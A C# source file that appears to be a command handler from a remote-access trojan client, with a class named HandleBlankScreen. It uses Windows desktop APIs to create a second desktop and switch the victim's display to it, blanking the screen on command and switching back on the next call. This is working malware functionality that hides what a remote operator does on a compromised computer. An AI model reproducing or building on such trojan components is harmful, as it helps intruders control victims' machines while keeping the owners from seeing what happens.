using System; using System.Collections.Generic; using System.Linq; using System.Runtime.InteropServices; using System.Text; namespace Client.Handle_Packet { public static class HandleBlankScreen { [DllImport("user32.dll")] public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); [DllImport("user32.dll")] private static extern bool SwitchDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern bool CloseDesktop(IntPtr handle); [DllImport("user32.dll")] public static extern bool SetThreadDesktop(IntPtr hDesktop); [DllImport("user32.dll")] public static extern IntPtr GetThreadDesktop(int dwThreadId); [DllImport("kernel32.dll")] public static extern int GetCurrentThreadId(); enum DESKTOP_ACCESS : uint { DESKTOP_NONE = 0, DESKTOP_READOBJECTS = 0x0001, DESKTOP_CREATEWINDOW = 0x0002, DESKTOP_CREATEMENU = 0x0004, DESKTOP_HOOKCONTROL = 0x0008, DESKTOP_JOURNALRECORD = 0x0010, DESKTOP_JOURNALPLAYBACK = 0x0020, DESKTOP_ENUMERATE = 0x0040, DESKTOP_WRITEOBJECTS = 0x0080, DESKTOP_SWITCHDESKTOP = 0x0100, GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP), } // old desktop's handle, obtained by getting the current desktop assigned for this thread static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId()); // new desktop's handle, assigned automatically by CreateDesktop static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); public static bool switcher = false; //the screen is not blanked be default so this should be false public static void RunBlankScreen() { try { //light switch logic CopyPasta by MrDevBot if (switcher == false) //The current screen is NOT blanked and needs to be { SwitchDesktop(hNewDesktop); switcher = true; //sets the switch to on for next click return; //returns to calling function } else //the screen is blanked and should be switched back to old { SwitchDesktop(hOldDesktop); switcher = false; //sets the switch to off for next click return; //returns to calling function } } catch { } } } }